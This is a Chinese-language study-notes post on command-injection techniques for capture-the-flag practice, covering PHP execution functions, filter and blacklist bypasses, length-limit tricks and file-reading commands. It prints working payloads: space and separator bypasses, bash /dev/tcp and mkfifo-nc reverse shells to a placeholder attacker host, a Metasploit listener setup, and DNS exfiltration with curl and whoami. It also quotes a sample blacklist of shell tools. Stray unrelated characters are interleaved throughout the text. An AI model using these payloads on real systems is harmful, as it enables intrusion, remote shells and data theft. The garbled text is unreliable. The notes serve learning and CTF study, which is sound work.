本文是學習命令執(zhí)行過程中做的一些題目以及讀過的文章進行整理總結,主要是方便接下來進一步的學習特铝,如有錯誤之處暑中,歡迎指出。
一鲫剿、php調用外部程序常用的函數(shù):
- system()—執(zhí)行shell命令也就是向dos發(fā)送一條指令鳄逾。
- shell_exec() — 通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回灵莲。
- exec() —執(zhí)行外部程序雕凹。
- passthru() — 執(zhí)行外部程序并且顯示原始輸出。
二政冻、java命令執(zhí)行
在Java SE中枚抵,存在Runtime類,在該類中提供了exec方法用以在單獨的進程中執(zhí)行特定的字符串命令赠幕。
三俄精、造成命令執(zhí)行的原因
- 代碼過濾不嚴格--如使用system函數(shù)調用封裝在二進制文件中的核心代碼,如system("/bin/program --arg $arg");
- 系統(tǒng)的漏洞造成命令注入--bash破殼漏洞(CVE-2014-6271)
- 調用的第三方組件存在代碼執(zhí)行漏洞--WordPress(ImageMagick組件), JAVA(struts2)榕堰,ThinkPHP命令執(zhí)行
四竖慧、命令執(zhí)行的危害
- 繼承Web服務程序的權限去執(zhí)行系統(tǒng)命令或讀寫文件
- 反彈shell
- 控制整個網(wǎng)站甚至控制服務器
- 進一步內網(wǎng)滲透
五、繞過技巧
1. 繞過空格
< -- 重定向逆屡,如cat<flag.php
<> -- 重定向圾旨,如cat<>flag.php
%09 -- 需要php環(huán)境,如cat%09flag.php
${IFS} -- 單純cat$IFS2,IFS2被bash解釋器當做變量名魏蔗,輸不出來結果砍的,加一個{}就固定了變量名,如cat${IFS2}flag.php
$IFS$9 -- 后面加個$與{}類似莺治,起截斷作用廓鞠,$9是當前系統(tǒng)shell進程第九個參數(shù)持有者帚稠,始終為空字符串,如cat$IFS2$9flag.php
2. 命令分隔
%0a -- 換行符床佳,需要php環(huán)境
%0d -- 回車符滋早,需要php環(huán)境
; -- 在 shell 中,擔任”連續(xù)指令”功能的符號就是”分號”
& -- 不管第一條命令成功與否砌们,都會執(zhí)行第二條命令
&& -- 第一條命令成功杆麸,第二條才會執(zhí)行
| -- 第一條命令的結果,作為第二條命令的輸入
|| -- 第一條命令失敗浪感,第二條才會執(zhí)行
3. 命令終結符
%00 -- 需要php環(huán)境
%20# -- 需要php環(huán)境
4. 黑名單繞過
- 拼接
a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;ab{c}74yinmw
- 借他人之手來獲取字符
如果過濾了<>?昔头,可以從已有的文件或環(huán)境變量中獲取自己需要的字符。
如獲取 < 符 -- echo `expr substr $(awk NR==1 test.php) 1 1`
- base64編碼
echo "d2hvYW1p"|base64 -d
- 單引號影兽,雙引號
ca''t te""st.php
- 反斜杠
cat te\st.php
- 通配符
*
揭斧,?
與斜杠組合繞過
/bin/sh = /b?n/?h
- 使用反引號繞過
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed', 'apt', 'yum', 'curl', 'wget', 'perl',
'python', 'zip', 'tar', 'php', 'ruby', 'kill', 'passwd', 'shadow', 'root', 'z','dir', 'dd', 'df', 'du', 'free','tempfile',
'touch', 'tee', 'sha', 'x64', 'g','xargs', 'PATH','$0', 'proc', '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
];
...(省略部分代碼)
foreach($blacklist as $keyword) {
if(strstr($ip, $keyword)) {
return "{$keyword} not allowed";
...(省略部分代碼)
exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
繞過:
ip=`tac fla*`
5. 繞過ip中的句點
網(wǎng)絡地址可以轉換成數(shù)字地址赢笨,比如127.0.0.1
可以轉化為2130706433
未蝌。
可以直接訪問http://2130706433
或者http://0x7F000001
,這樣就可以繞過.
的ip過濾茧妒。
在線轉換地址:數(shù)字轉IP地址 IP地址轉數(shù)字 域名轉數(shù)字IP
6. win下執(zhí)行bat
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>
執(zhí)行.bat文件的時候,利用%1a左冬,可以繞過過濾執(zhí)行命令.
dir=../ %1a whoami
六桐筏、無回顯命令執(zhí)行(bugku題目)
- 利用vps,用nc進行彈shell(反彈shell其他姿勢另外文章再說)
攻擊機:nc -l -p attackport -vvv
靶機:|bash -i >& /dev/tcp/attackip/attackport 0>&1
靶機:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackip attackport >/tmp/f
- 利用msf反向回連
攻擊機msf監(jiān)聽:
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport attackport
set lhost attackip
set exitonsession false
exploit -j
靶機:|bash -i >& /dev/tcp/attackip/attackport 0>&1
- 利用DNS管道解析(還沒實際操作過)
網(wǎng)上有一個在線平臺:admin.dnslog.link拇砰,注冊一個賬號后會分配一個子域名可以利用梅忌,已經開源,可以自己搭建除破。
利用方式如下:
|curl `whoami`.xxxx.xxx(子域名)
這樣就會在利用網(wǎng)址看到反彈結果牧氮。這里解釋一下\whoami\因為`反引號在linux下是執(zhí)行命令的特殊符號,原理請見:DNS隧道技術解析
七瑰枫、突破長度限制
#這里是突破七個字
<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>
思路:利用重定向符 >
生成文件踱葛,1>1
,a>1
都可以生成文件1
,即使后者會報錯光坝。然后利用 ls -t
根據(jù)生成文件的時間將文件名合并成一句命令尸诽,最后通過 sh
命令執(zhí)行命令下載shell.php。
這里可以看一個題目的writeup盯另。
關于長度限制的還有HITCON2015跟2017的題目可以學習性含。
八、各種讀文件命令
cat--由第一行開始顯示內容鸳惯,并將所有內容輸出
tac--從最后一行倒序顯示內容商蕴,并將所有內容輸出
more-- 根據(jù)窗口大小叠萍,一頁一頁的現(xiàn)實文件內容
less 和more類似,但其優(yōu)點可以往前翻頁绪商,而且進行可以搜索字符
head-- 只顯示頭幾行
tail --只顯示最后幾行
nl --類似于cat -n俭令,顯示時輸出行號
tailf-- 類似于tail -f
vim --使用vim工具打開文本
vi --使用vi打開文本cat 由第一行開始顯示內容,并將所有內容輸出
九部宿、歪門邪道
echo /*/*/*flag* -- 枚舉文件和目錄
sort /app/class/flag.php -- 從最后一行開始讀取文件
find -- 列出當前目錄下的文件以及子目錄所有文件
&{grep,-nrw,.} -- 遞歸讀取當前目錄下的文件以及子目錄所有文件
{cat,/etc/passwd}
curl file:///etc/passwd
strings /etc/passwd
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd
十抄腔、工具
一個FUZZing工具:shelling